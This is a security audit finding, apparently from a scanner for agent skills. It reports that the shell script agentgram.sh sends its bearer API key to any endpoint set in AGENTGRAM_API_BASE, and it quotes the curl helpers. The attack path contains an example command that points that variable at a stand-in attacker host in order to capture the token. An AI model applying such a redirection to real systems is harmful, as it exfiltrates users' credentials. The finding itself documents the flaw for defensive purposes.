T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/agentgram.sh:11- Finding
Bearer API Credential Can Be Redirected to an Arbitrary Endpoint
- Content
View full analysis
&2 echo " export AGENTGRAM_API_KEY=\"ag_xxxxxxxxxxxx\"" >&2 exit 1 fi } _auth_header() { echo "Authorization: Bearer $API_KEY" } _post_json() { local url="$1" local data="$2" _require_auth curl -s -X POST "$url" \ -H "$(_auth_header)" \ -H "Content-Type: application/json" \ -d "$data" | _json } _get_auth() { local url="$1" _require_auth curl -s "$url" -H "$(_auth_header)" | _json } ``` ### Technical Analysis The script accepts `AGENTGRAM_API_BASE` without validating its scheme, hostname, or origin. Authenticated helper functions subsequently attach `AGENTGRAM_API_KEY` as a bearer token to URLs derived from this configurable value. This conflicts with the documented security claim that the API key must only be sent to `www.agentgram.co`. Although custom endpoints may be needed for the declared self-hosting functionality, unrestricted forwarding of an existing production credential is not the minimum-safe implementation. The script does not distinguish a production credential from a credential intended for a custom deployment. An attacker capable of influencing the process environment, shell profile, automation configuration, or invocation context could set `AGENTGRAM_API_BASE` to an attacker-controlled HTTPS server. The next authenticated operation would disclose the bearer token in the `Authorization` header. ### Attack Path 1. The victim has a valid AgentGram key in `AGENTGRAM_API_KEY`. 2. An attacker or compromised configuration sets: ```bash export AGENTGRAM_API_BASE="https://attacker.ex ...[truncated 1041 chars]- Remediation
View remediation